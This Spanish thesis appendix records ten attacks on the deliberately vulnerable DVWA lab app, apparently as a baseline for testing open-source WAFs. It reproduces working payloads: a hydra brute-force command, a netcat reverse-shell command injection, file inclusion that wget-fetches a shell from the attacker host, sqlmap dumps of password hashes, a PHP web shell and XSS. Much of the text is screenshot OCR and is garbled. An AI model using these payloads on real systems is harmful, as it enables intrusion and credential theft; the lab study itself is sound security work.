ANEXO 2. Resultados de los 10 ataques realizados al target DVWA sin la protección de los WAFs Open Source.

En el presente anexo, se va a ejecutar los 10 ataques descritos sobre el aplicativo web vulnerable DVWA. Los ataques se realizan directamente al aplicativo web, sin contar con la protección de los WAFs. A continuación se muestran los resultados obtenidos por cada uno de los ataques realizados:

Ataque 1: Fuerza Bruta

El ataque se basa en obtener el password del usuario común "admin" a través de un diccionario establecido.

Pasos para realizar el ataque de fuerza bruta:

Configurar el acceso proxy del navegador web como configuración manual del proxy:

Sin prox <u>y</u>			
Autod <u>e</u> tectar	[,] configuración del proxy para esta red guración <u>d</u> el proxy del sistema		
<u>C</u> onfiguració	n manual del proxy		
Proxy <u>H</u> TTP	localhost	Puerto	808
	✔ Usar el <u>m</u> ismo proxy para todo		
Pro <u>x</u> y SSL	localhost	Puert <u>o</u>	808
Proxy <u>E</u> TP	localhost	Pue <u>r</u> to	808
Host <u>S</u> OCKS	localhost	Puerto	808
	SOC <u>K</u> S v4 🔘 SOCKS <u>v</u> 5		

Ingresar al target del aplicativo web vulnerable, e ingresar credenciales de acceso incorrectos.

VOC (Universitat Ober	Inicio de sesión en el c 😻 Nueva pestaña
	DVWA
	Username
	admin
	Password
	•••••
	Login

Abrir la herramienta OWASP ZAP, y capturar el tráfico. Se obtienen los parámetros (método get, cookie, username, password) necesarios para ejecutar el ataque:

lodo estándar 💌 🗋 😹 🔚 📖	📄 🎡 🖾 🌁		●	💢 💷 🦍 🔤 🛛	0 6				
🚱 Sitios 🕂			Inico Rápido me Petidán Respuesta imitática Header: Vista Raw Corepo Vista Raw						
) 📮 🖸 🖻									
Contexts			GET http://pro User-Agent: M	oxy-waf/dvwa/vul ozilla/5.0 (Wind	nerabilities/ ows NT 10.0;	brute/?username-admi Win64; x64; rv:71.0)	n&password-admin&L Gecko/20100101 Fi	ogin=Login H refox/71.0	TTP/1.1
Sitios			Accept-Langua	ge: es-ES,es;q=0	.8,en-US;q=0.	5,en;q=0.3	-7-34-0.0		
The interpretation of the interpretatio			Referer: http	eep-alive ://proxy-waf/dvw	a/vulnerabili	ties/brute/			
			Cookie: secur: Upgrade-Insec	ity=low; PHPSESS ure-Requests: 1	ID=dvpbf6gmlf	nhkn1710perthb05			
Image: Sector of the sector			Host: proxy-w	af					
📅 Historia 🍳 Buscar 🏾 🏴 Alerta	is) 📄 Salida 🗍 i	*							
Req. Timestamp	Método	URL	Code	Reason	RTT	Size Resp. Body	Highest Alert	Note	Tags (
51 5/12/19 15:04:26	GET	http://proxy-waf/dwwa/dwwa/js/dwwaPage.js		200 OK	3 ms	775 bytes	P Bajo		Comment
53 5/12/19 15:04:28	GET	http://proxy-wal/dwa/vulnerabilities/brute/		200 OK	8 ms	5.122 bytes	P Medio		Form, Password, Script
56 5/12/19 15:04:29 56 5/12/19 15:04:29	GET	http://detectportal.firefox.com/success.txt?ipv4		200 OK 200 OK	24 ms 27 ms	8 bytes	P Bajo		
57 5/12/19 15:04:56	GET	http://detectportal.firefox.com/success.txt		200 OK	117 ms	8 bytes	P Bajo		
58 5/12/19 15:04:56 59 5/12/19 15:06:33	GET	http://detectportal.firefox.com/success.txt?ipv4 http://proxy-wat/dwwa/vulnerabilities/brute/?user	mam	200 OK 200 OK	27 ms 47 ms	8 bytes 5.174 bytes	🏁 Bajo 🏴 Medio		Form, Password, Script
~									
icioRápido 🔤	Petició	n Respuesta 🖛 📑							
r: Vista Raw	Cue	erpo:Vista Raw 🔹)						
tp://192.168.1 gent: Mozilla/ : text/html,ap -Language: en- r: http://192. : security=low tion: keep-ali e-Insecure-Rec	.41/dv 5.0 (X oplicat US,en; 168.1. ; PHPS ive uests:	wa/vulnerabilities 11; Linux x86_64; ion/xhtml+xml,appl q=0.5 41/dvwa/vulnerabil ESSID=ok1ktd57s6oe 1	/brute/ rv:52.0 icatior ities/k 2brrvum	/?userna)) Gecko n/xml;q= prute/ nlqvbsf3	me=adm /20100 0.9,*/	iin&passwo 101 Firef *;q=0.8	rd=GABRI	EL&Lo	gin=Login HTT

Y como respuesta se obtiene que las credenciales ingresadas son incorrectas:



Posteriormente ejecutar el ataque a través de diccionario, desde la consola del terminal de Kali Linux ejecutando la herramienta de hydra. El comando a ejecutar es el siguiente:

hydra -I admin -P /root/Escritorio/prueba.txt 192.168.1.41 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Lo gin:F=incorrect:H=Cookie: security=low; PHPSESSID=ok1ktd57s6oe2brrvum1qvbsf3" –V

Los parámetros ejecutados en el comando significan:

Usuario: admin

Método: get

Diccionario: prueba.txt

Dirección Ip de la víctima: 192.168.1.41

<pre>root@kali-Gabriel:~# hydra -l admin -P /root/Escritorio/prueba.txt 192.168.1.41 http-get-fo</pre>	orm "/o	dvwa/vulnerabil	ities/brute/:	username	=^USER^&password=^
PASS^&Login=Login:F=incorrect:H=Cookie: security=low; PHPSESSID=ok1ktd57s6oe2brrvum1qvbsf3'					
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service or Host: 192.168.1.41	ganiza [.]	tions, or for i	llegal purpos	es.	
Hydra (http://www.thc.org/thc-hydra) starting at 2019-12-05 20:44:27					
[DATA] max 15 tasks per 1 server, overall 15 tasks, 15 login tries (l:1/p:15), ~1 try per 7	task				
[DATA] attacking http-get-form://192.168.1.41:80//dvwa/vulnerabilities/brute/:username=^USI	ER^&pa:	ssword=^PASS^&L	ogin=Login:F=	incorrec	t:H=Cookie: securi
ty=low; PHPSESSID=ok1ktd57s6oe2brrvum1qvbsf3					
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "#password" - 1 of 15 [child 0] (0/0)					
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "NADINE90" - 2 of 15 [child 1] (0/0)					
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "NADINE1" - 3 of 15 [child 2] (0/0)					
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "NADINE19" - 4 of 15 [child 3] (0/0)					
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "NADINE1980" - 5 of 15 [child 4] (0/0)				
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "NADINE1980NADINE1980" - 6 of 15 [chi	ld 5]	(0/0)			
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "A" - 7 of 15 [child 6] (0/0)					
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "B" - 8 of 15 [child 7] (0/0)					
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "C" - 9 of 15 [child 8] (0/0)					
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "D" - 10 of 15 [child 9] (0/0)					
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "E" - 11 of 15 [child 10] (0/0)					
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "F" - 12 of 15 [child 11] (0/0)					
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "G" - 13 of 15 [child 12] (0/0)					
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "password" - 14 of 15 [child 13] (0/0)				
[ATTEMPT] target 192.168.1.41 - login "admin" - pass "password2" - 15 of 15 [child 14] (0/0	9)				Tags
[80][http-get-form] host: 192.168.1.41 login: admin password: password					Form, Password, Scr
1 of 1 target successfully completed, 1 valid password found esset					
Hydra (http://www.thc.org/thc-hydra) finished at 2019-12-05 20:44:31					

Se puede observar que el ataque realizado fue exitoso, y que las credenciales de acceso son: **usuario= admin** y **password= password**.

Ataque 2: Ejecución de comandos

El ataque se basa en ejecutar comandos arbitrarios en el sistema operativo del aplicativo web vulnerable. En este caso se va crear una conexión entre el aplicativo web y el Kali Linux, y así poder ejecutar cualquier tipo de comando dentro del sistema del aplicativo web, dependiendo de los permisos o privilegios que contenga.

Pasos para realizar el ataque de ejecución de comandos:

En Kali Linux abrir un terminal y ejecutar el comando nc –nlvp 443, para dejar el puerto 443 en escucha y poder realizar una conexión con el aplicativo web.



En el aplicativo web seleccionar la opción de "Command Injectión", realizar el ataque ejecutando en la entrada de texto "Enter an IP address" el comando: 127.0.0.1 && nc.traditional 192.168.1.10 443 -e /bin/sh para realizar la conexión. Y así poder ejecutar cualquier tipo de comando dentro del sistema del aplicativo web, dependiendo de los permisos o privilegios que contenga.

192.168.1.41/dvwa/vulnerabilities/exec/					
Voc (Universitat Ober	Z Inicio de sesión en el c 👋 Nueva pestaña				
	DYWA				
e	Vulnerability: Command Injection				
uctions p / Reset DB	Ping a device Enter an IP address: ic.traditional 192.168.1.10 443 -e /bin/sh Submit				

Como resultado se puede observar que la página web se queda cargando por un momento. Y en la consola del terminal de kali linux ya se tiene una conexión exitosa:



Comprobar la conexión, ejecutando por ejemplo el comando /etc/passwd:

root@kali-Gabriel:~# nc -nlvp 443
listening on [any] 443
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.41] 36980
ls -la 5541682
total 20
drwxr-xr-x 4 www-data www-data 4096 Nov 29 2017 .
drwxr-xr-x 14 www-data www-data 4096 Nov 29 2017
drwxr-xr-x 2 www-data www-data 4096 Nov 29 2017 help
-rw-rr 1 www-data www-data 1830 Nov 29 2017 index.php
drwxr-xr-x 2 www-data www-data 4096 Nov 29 2017 source
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
<pre>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin</pre>
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
<pre>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:</pre>
nohodv:x:65534:65534:nohodv:/nonexistent:/usr/shin/nologin

Ataque 3: File Inclusión Local

El ataque consiste en incluir ficheros locales, es decir, archivos que se encuentran en el mismo servidor de la web.

Pasos para realizar el ataque File Inclusión Local:

Seleccionar la opción "File Inclusión" del aplicativo web. Dar clic en cualquiera de los 3 ficheros php.



Se obtiene como respuesta algunos parámetros de la conexión realizada.

/ulnerability: File Inclusion				
File 3				
Welcome b Your IP add Your user-a Firefox/71. You came f I'm hosted a	ack admin ress is: 192.168.1.110 gent address is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 0 rom: http://192.168.1.41/dvwa/vulnerabilities/fi/?page=include.php at: 192.168.1.41			
[back]				

Realizar el ataque ejecutando el comando 192.168.1.41/dvwa/vulnerabilities/fi/?page=/etc/passwd en la URL del navegador web, para obtener el contenido del fichero de usuarios del sistema. Se puede cambiar el comando /etc/passwd por cualquier otro comando del sistema.



Ataque 4: File Inclusión Externo

El ataque consiste en incluir ficheros remotos, es decir, archivos que se encuentran en otros servidores. En este caso se va a cargar un payload realizado en php con el contenido "SHELL CARGADO CORRECTAMENTE" en el servidor web DVWA, desde un servidor web instalado en Kali Linux. El payload está alojado en el Kali Linux en la siguiente ruta: /var/www/html/ y se denomina shell.php.

Pasos para realizar el ataque File Inclusión externo:

Primero verificar que en Kali Linux que se esté ejecutando el servicio de apache2, para ello ejecutar service apache2 status, en caso de que no está activado, ejecutar service apache2 start.



Crear un fichero denominado shell.php en la ruta /var/www/html/ de Kali Linux, con el siguiente contenido:



Comprobar que el fichero se cargue correctamente desde cualquier cliente en un navegador web:



> Ejecutar el ataque el comando en la URL del navegador web:

proxy-waf.com.ec/dvwa/vulnerabilities/fi/?page=data:,<?php system(\$_GET['cmd']);?>&cmd=wget http://192.168.1.10/shell.php -P /var/www/dvwa/hackable/uploads.

C) 🔏 , php system(\$_G</th <th>ET['cmd']);?>&cmd=wget</th> <th>http://192.168.1.10/shell.php -P /var/www/dvwa/hackable/uploads 🗸</th>	ET['cmd']);?>&cmd=wget	http://192.168.1.10/shell.php -P /var/www/dvwa/hackable/uploads 🗸
irefox	VOC (Universitat Ober	Z Inicio de sesión en el c	😻 Nueva pestaña
			DVWA

Se ejecuta el comando wget para cargar el archivo o payload denominado shell.php, la dirección IP 192.168.1.10 es la del servidor web en este caso la del Kali Linux; y la ruta /var/www/dvwa/hackable/uploads es la ruta del aplicativo web vulnerable (DVWA) donde se guardará el payload, para posteriormente ser ejecutado.

> Comprobar en el aplicativo web que el archivo cargado se pueda ejecutar:

if.com.ec/	×	SHELL - UPLOAD FILE	× +			
🔏 192.168.1.41	/dvwa/ha	ckable/uploads/shell.php				
UOC (Universitat Ober 💈 Inicio de sesión en el c 👋 Nueva pestaña						
		SHELL C	ARGADO CORRECTAN	MENTE		

También, se puede verificar que el archivo shell.php se encuentra cargado en la ruta del aplicativo web.



Ataque 5.1: Inyección SQL Manual

El ataque consiste en inyectar sentencias SQL a través del(los) input(s) del aplicativo web vulnerable, para la manipulación de las bases de datos.

Pasos para realizar el ataque Inyección SQL Manual:

Seleccionar la opción "SQL Inyection" del aplicativo web. Ejecutar el parámetro ' or '1=1 en la entrada de texto "User ID:" del aplicativo web.



> Se obtiene los datos "First name" y "Surname.

0 🔏	192.168.1.41/dvwa/vulnerabilities/sqli/?id='+or+'1%3D
refox 🔽	🕻 UOC (Universitat Ober 🛛 Inicio de sesión en el c 👈 Nueva p
	DVWA
	Vulnerability: SQL Injection
	Hello user! You are authorized to see info for users 1 and 2, p would like to see.
	User ID: Submit
	ID: ' or '1=1 First name: admin Surname: admin
	ID: ' or '1=1 First name: Gordon Surname: Brown
	ID: ' or '1=1 First name: Hack Surname: Me
	ID: ' or '1=1 First name: Pablo Surname: Picasso
	ID: ' or '1=1 First name: Bob Surname: Smith

Ataque 5.2: Inyección SQL Manual

El ataque consiste en inyectar sentencias SQL a través del(los) input(s) del aplicativo web vulnerable, para la manipulación de las bases de datos.

Pasos para realizar el ataque Inyección SQL Manual:

Seleccionar la opción "SQL Inyection" del aplicativo web. Ejecutar el parámetro 1' or 1=1 union select null, table_name from information_schema.tables# en la entrada de texto "User ID:" del aplicativo web.

Vulnerability: SQL Injection

Hello user! You are authorized to see info for users 1 and 2, please use the form below to input which you would like to see.



Se obtiene información de las tablas de la base de datos, por ejemplo una denominada "ENGINES".



Ataque 5.3: Inyección SQL Automatizado

El ataque se basa en ejecutar código sql automáticamente hasta detectar y aprovechar las vulnerabilidades de inyección SQL en el aplicativo web, y obtener datos como nombre de las bases de datos, tablas, usuarios, passwords, etc.

Pasos para realizar el ataque Inyección SQL Automatizado:

- Configurar el acceso proxy del navegador web como configuración manual del proxy.
- > Abrir la herramienta OWASP ZAP, y capturar el tráfico.
- Seleccionar la opción "SQL Inyection" del aplicativo web. Ejecutar el parámetro 1 en la entrada de texto "User ID:" del aplicativo web.

Vulnerability: SQL Injection					
	Hello user! You are authorized to see info for users 1 and 2, please use the form below to input which you would like to see.				
	User ID: 1 Submit				
	ID: 1 First name: admin Surname: admin				

Obtener los parámetros necesarios (método de petición get, ID y la cookie) para ejecutar el ataque:



Posteriormente ejecutar el ataque, desde la consola del terminal de Kali Linux ejecutando la herramienta de Sqlmap. El comando a ejecutar para obtener el nombre de las bases de datos, es el siguiente:

sqlmap -u "http://192.168.1.41/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" - -cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" --dbs

Payload: id=1' UNION 2454756566e75767a4f545875 ubmit=Submit [14:35:54] [INFO] the bac web server operating syst web application technolog back-end DBMS: MySQL >= 5 [14:35:54] [INFO] fetchin available databases [7]: [*] dvwa [*] information_schema [*] mysql [*] nowasp [*] performance_schema [*] sys [*] wavsepDB	ALL SELECT NULL,COI S0404b7a677248437a1 Vincio Rapido en Pe Vincio Rapido en Pe Linux Ubuntu 11 y: Apache 2.4.18 .0 er Agent: Mozilla/5.0 gordatabase.names Accept: est/ httl.apti Accept-Language: en-US Refer: http://192.160 Cookie: security=low; 1	ICAT (0x716a7 70556776514a ICCuerpo:Vista Rai Cuerpo:Vista Rai Cuerpo:Vist	06271,0x784 4a7a6a54,0x *	24e715a726456 716a6a7871)#& d= ld=1&Submit=Submi) Gecko/20100101 /xml;q=0.9,*/*;q= ll/ &dpel5)4 ▲ §S
[14:35:54] [[NFQ]r fetched 192.168.1.41' ◎ Ø ÿ Filtro: APAGADO ∂ Expo	adataslogged to te: rtar				¢/
[*] shutting down at 14:3	5:54				age

Ejecutar el siguiente comando para obtener las tablas:

sqlmap -u "http://192.168.1.41/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" - -cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" -D dvwa - tables

Archivo Luitai vei Bustai i	errinia. Ayuua
Mod Title: MySQL UNION qu Payload: id=1' UNION 2454756566675767a4f545875	ery (NULL) - 2 columns ALL SELECT NULL,CONCAT(0x716a706271,0x78424e715a7264504 504b4b7a677248437a70596776514a4a7a6a54,0x716a6a7871)#&S
ubmit=Submit 	Header: Vista Raw
<pre>[14:37:37] [INF0] the bac web server operating syst web application technolog back-end DBMS: MySQL >= 5 [14:37:37] [INF0] fetchin [14:37:37] [WARNING] refl</pre>	<pre>k-end.DBMS gis MySOL/dww/vulnerabilities/sgli/ HTTP/1.1 em:rLinux Ubuntu:16.04.(xenial)_64; rv:52.0) Gecko/20100101 F: y: Apache 2.4.18 .0 cept: text/html.application/xhtml+xml.application/xml;q=0.9,*/*;q=0. ghtaple:Sify/databasei/ydwya/dex.php ective value(s), found_and_filtering_out_hl8dpel5</pre>
Database: dvwa [2 tables] ++	Connection: keep-alive
guestbook users	
(14:37:37) [INF0], fetched 192.168.1.41 ○ ○ ↑ Filtro: APAGADO ॡ Expo	adataslogged to text files under '/root/.sqlmap/output/ rtar
[*] shutting down at 14:3	7:37 C Reason Size Resp Highest N Tag

Ejecutar el siguiente comando para obtener las columnas y el tipo:

sqlmap -u "http://192.168.1.41/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" - -cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" -D dvwa -T users –columns

Web application back-end DBMS: N 14:38:48] INFC [14:38:48] [WARH Database: dvwa Table: users [8 columns]	technology: Aj MySQL >= 5.0 J fetching=co MING] reflectiv tt	Dache 2.4.18 Inicio Rápido Pre- tumns for tabl /e.value(s) fo http://192.168.1.4 Agent: Mozilla/5.	e users underandisti 1/dvwa/vulner 0 (X11: Linux	esta	• •	0 X
Column	Туре			+YML ANNI CALIN	n/Ymi'n=4 4 4	
user avatar failed_login first_name last_login last_name password user_id	varchar(15) varchar(70) int(3) varchar(15) timestamp varchar(15) varchar(32) int(6)	Salida 🛨				
[14:38:48] [INFO	ADO Exportar D]fetched_data					ltput/
22 07/12/19 1 [*]shutting.dov	GET http://detect			8 bytes	P Bajo M Medio	Forr

Ejecutar el siguiente comando para obtener usuarios y passwords:

sqlmap -u "http://192.168.1.41/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" - -cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" -D dvwa -T users –dump

Database: dvwa Table: users [5 entries] +	An
i Contexts Citult Context ,user≞id avatar	<pre>(GET http://192.166.1.41.dwa/vulnerabilities/sqli/ HTTP/1 1 User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:52.0) Gecko/20100101 Firefov/ 52.0 Accept: v[xtlast name:[iffirst]name:[][last_login=0.9.75*;q=0] faile</pre>
d_login ++	Accept-Language: En-US,eniqe0.5 Referer: http://192.168.1.41/dwa/index.phn Cookie: security-low: PMPSESID-LBmgc0F3irchtSjaduhl8dpel5 Lonneclion: keep-alive
1 http://192.16 765d61d8327deb882cf99 (pa	8.1.41/dvwa/hackable/users/admin.jpg admin 5f4dcc3b5aa ssword) admin admin 2019-12-05 22:33:52 0
2	8.1.41/dvwa/hackable/users/gordonb.jpg gordonb e99a18c428c c123) Brown Gordon 2019-12-05 22:33:52 0
3 Historia Historia	8.1.41/dvwa/hackable/users/1337.jpg 1337 8d3533d75ae arley) Me Hack 2019-12-05 22:33:52 0
^D 4 ^{Peq h} ^e http://192.16 be40cade3de5c71e9e9b7 (le	8.1.41/dvwa/hackable/users/pablo.jpg = pablo 0d107d09f5b tmein) Picasso Pablo 2019-12-05 22:33:52 0
5 http://192.16 765d61d8327deb882cf99 (pa	8.1.41/dvwa/hackable/users/smithy.jpg smithy 5f4dcc3b5aa ssword) Smith Bob 2019-12,05,22:33:52 0 Active Windows

Ataque 6.1: Inyección SQL Blind Manual

El ataque se basa en ejecutar el parámetro 'or 7=7# en la entrada de texto "User ID:" del aplicativo web vulnerable. Para verificar si el ID existe. Por defecto, el aplicativo tiene habilitado los ID's: 1, 2, 3, 4 y 5 en la base de datos. Cualquier otro número nos devolverá que el ID no existe. En este caso estamos introduciendo un valor con ID=7, de tal forma que no importe el ID que pongamos y siempre nos devuelva el mensaje que el ID existe.

Pasos para realizar el ataque Inyección SQL Blind Manual:

Seleccionar la opción "SQL Inyection Blind" del aplicativo web. Ejecutar el parámetro 'or 7=7# en la entrada de texto "User ID:" del aplicativo web.

Vulnerability: SQL Injection (Blind)				
User ID: 'or 7=7# Submit				

Como resultado se obtiene que cualquier ID que se ingrese, devuelve como resultado que el ID existe.

Vulnerability: SQL Injection (Blind)		
User ID: 'or 7=7# Submit User ID exists in the database.		

Ataque 6.2: Inyección SQL Blind Automatizado

El ataque se basa en ejecutar código sql automáticamente hasta detectar y aprovechar las vulnerabilidades de inyección SQL Blind en el aplicativo web, y obtener datos como nombre de las bases de datos, tablas, usuarios, passwords, etc. Además para obtener los parámetros necesarios para ejecutar el ataque se hace uso de la herramienta OWASP ZAP, para obtener los datos necesarios como el ID de la petición web realizada, la Cookie.

Pasos para realizar el ataque Inyección SQL Blind Automatizado:

- Configurar el acceso proxy del navegador web como configuración manual del proxy.
- > Abrir la herramienta OWASP ZAP, y capturar el tráfico.
- Seleccionar la opción "SQL Inyection Blind" del aplicativo web. Ejecutar el parámetro 1 en la entrada de texto "User ID:" del aplicativo web.

•) (i) 192.168.1.41/dvwa/vulnerab	ilities/sqli_blind/? 🗸 🖻 🖡 🏫
Most Visited 🗸 👖 Offensive Secur	rity 🌂 Kali Linux 🌂 Kali Docs 🌂 Kali Tools 🛸 Exploit-DB 📡 Aircrack-ng
	DVWA
Home	Vulnerability: SQL Injection (Blind)
Instructions	
Setup / Reset DB	User ID: 1 Submit
Brute Force	User ID exists in the database.
Command Injection	

Obtener los parámetros necesarios (método de petición get, ID y la cookie) para ejecutar el ataque:



Posteriormente ejecutar el ataque, desde la consola del terminal de Kali Linux ejecutando la herramienta de Sqlmap. El comando a ejecutar para obtener el nombre de las bases de datos, es el siguiente:

sqlmap –u

"http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" -- cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" –dbs



Ejecutar el siguiente comando para obtener las tablas:

sqlmap -u

"http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" -cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" -D dvwa -tables

[16:01:59] [INFO] the back-end DBMS is MySQL and Sabriel a
web_server_operating_system: Linux_Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[16:01:59], [INFO], fetching tables for database; dywa blind
[16:01.59] [INF0] fetching number of tables for database/sdywablind/?id=1&Submit=Submit
[16:01:59] [WARNING] running in a single-thread mode. Please consider usage of option '
threads for faster data retrieval dwa/vulnerabilities/soli blind/2id=1&Submit=Submit
[16:01/59] [INFO] retrieved 2. dw: PHPSESSID=l8moc0r3ircht5ia4uhl8dpel5""D.dvwatab
[16:01:59] [INFO] retrieved: guestbook
[16:01.59] [INF0] tetrieyed:6sers1/dvwa/vulnerabilities/sgli blind/?id=1&Submit=Subm
Database: dvwa _{kie} "security=low: PHPSESSID=l8moc0r3ircht5ia4uhl8dbel5"" -D dvwa -T us
[2 tables] columns
guestbook, u "http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Subm guestbook, bkie "security=low; PHPSESSID=l8mgcOr3ircht5ja4uhl8dpel5"" -D dvwa -T us users
[16:01:59] [WARNING] HTTP error codes detected during run: 404 (Not Found) - 54 times
[16:01:59] [INF0] fetched data logged to text files under '/root/.sqlmap/output/192.168
nið - 41 heg. Timest Mét URL
[*] shutting down at 16:01:59

Ejecutar el siguiente comando para obtener las columnas y el tipo:

sqlmap -u

"http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" -cookie "security=low; PHPSESSID=I8mgc0r3ircht5ja4uhI8dpeI5" -D dvwa -T users --columns

					Toor@kail-Gabilet. ~		ð
Archivo	Editar	Ver	Buscar	Terminal	Ayuda		
[16:03: [16:03; [16:03; [16:03: Databas Table: [8 colu	31] [] 31] [] 32] [] 32] [] e: dvv users mns]	[NF0] [NF0] [NF0] [NF0] va	retri retri bretri bretri briel: ttp://	eved: la eved: ti eved: fa eved: fa eved: in -# cat / 192.168.	st_login ^(archedresoner=) mestampyuda iled.login(torio/sqlmap_blind /dd//Escritorio/sqlmap_blind 1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit	=Subm	
Colum	Emap - In	u h okie	Туре	rity=tow 192.168.: rity=low;			
user avata faile first last last passw user	r d_logi _name login name word id	u h okie Cunn u h okie imp	varcha varcha int(3) varcha timesta varcha varcha int(6)	r(15) r(70) r(15) amp r(15) r(32)			
+ 21 - 13 [16:03: 404 (No [16;03: .1 ₃ 41' [*] ⁹ shu	otigkal 33] [V t Four 33] [] tting	ARNI (NFO] down	NG] HT 513 t fetch	TP error imes ed data :03:33	<pre>codes detected during run: logged to text files under '/root/.sqlmap/output,</pre>	/ 192.16 8 m. Scrip m. Scrip m. Scrip	3

Ejecutar el siguiente comando para obtener usuarios y passwords:

sqlmap -u

"http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" -- cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" -D dvwa -T users –dump



Ataque 7: File Upload

El ataque se basa en cargar un payload, en este caso un archivo denominado shell1.php al sistema de archivos del aplicativo web, el cual nos permite ejecutar comandos dentro del sistema operativo del aplicativo web.

Pasos para realizar el ataque File Upload:

Seleccionar la opción "File Upload" del aplicativo web. Dar clic en la opción Examinar, y cargar el archivo denominado shell1.php.



El archivo shell1.php contiene lo siguiente:

₽ p</th <th>hp</th>	hp
\$cm	d = \$_GET["cmd"];
sys	tem(\$cmd);
L _{2>}	

Si el archivo se cargó exitosamente al aplicativo web, se obtendrá el siguiente mensaje:



Posteriormente efectuar el ataque, ejecutar el siguiente comando en la URL del navegador web:

http://192.168.1.41/dvwa/hackable/uploads/shell1.php?cmd=pwd



El comando **cmd=pwd** muestra el nombre del directorio actual, se puede cambiar el comando pwd por cualquier otro comando del sistema.

Ataque 8: Cross Site Scripting (XSS) DOM

Este tipo de ataques consisten en ejecutar cualquier tipo de código, con el objetivo, como por ejemplo poder robar las cookies para posteriormente robar la identidad, etc.

Pasos para realizar el ataque XSS DOM:

Seleccionar la opción "XSS Dom" del aplicativo web. Seleccionar el idioma y dar clic en la opción Select.

🛈 🔏 192.168.1.41/dvwa	/vulnerabilities/xss_d/?default=Spanish
ar Firefox 🛯 🗠 UOC (Universitat Ober	💈 Inicio de sesión en el c 👋 Nueva pestaña
	DYWA
Home	Vulnerability: DOM Based Cross Site Scripting (XSS)
Instructions	
Setup / Reset DB	Please choose a language:
Brute Force	Spanish V Select
Command Injection	More Information
CSRF	
File Inclusion	https://www.owasp.org/index.php/Lross_site_scripting_(XSS) https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)
File Upload	 <u>https://www.acunetix.com/blog/articles/dom-xss-explained/</u>
Insecure CAPTCHA	
SQL Injection	
SQL Injection (Blind)	
Weak Session IDs	
XSS (DOM)	

Ejecutar código JavaScript en la URL del navegador web. El código es el siguiente:

http://192.168.1.41/dvwa/vulnerabilities/xss_d/?default=<script type="text/javascript">alert("XSS DOM");</script>

Q 192.168.1.41/dvwa/vulner	rabilities/xss_d/?default= <script type="text/javascript">alert("XSS DOM");</script>
Firefox 🤷 UOC (Universitat Ober [🛛 Inicio de sesión en el c 🔞 Nueva pestaña
	DVWA
Home	Vulnerability: DOM Based Cross Site Scripting (XSS)
Como result	tado se obtendrá un mensaje de alerta en el navegador web
🕡 🔏 192.168.1.41/dvwa/v Firefox 🛰 UOC (Universitat Ober 👔	rulnerabilities/xss_d/?default= <script type="text/javascript">alert("XSS DOM");</script> ∨ ··· ♥ ✿ Z Inicio de sesión en el c 🔞 Nueva pestaña
	DYWA
Home	Vulnerability: DOM Based Cross Site Scripting (XSS)
Setup / Reset DB Brute Force Command Injection	Please choose XSS DOM
CSRF File Inclusion	Aceptar

Ataque 9: Cross Site Scripting (XSS) Reflected

Este tipo de ataques consisten en ejecutar cualquier tipo de código, con el objetivo, como por ejemplo poder robar las cookies para posteriormente robar la identidad, etc.

Pasos para realizar el ataque XSS Reflected:

Seleccionar la opción "XSS Reflected" del aplicativo web. En la entrada de texto "What's your name" escribir cualquier **nombre**, se recibirá como respuesta un mensaje "Hello **nombre**":

	DVWA
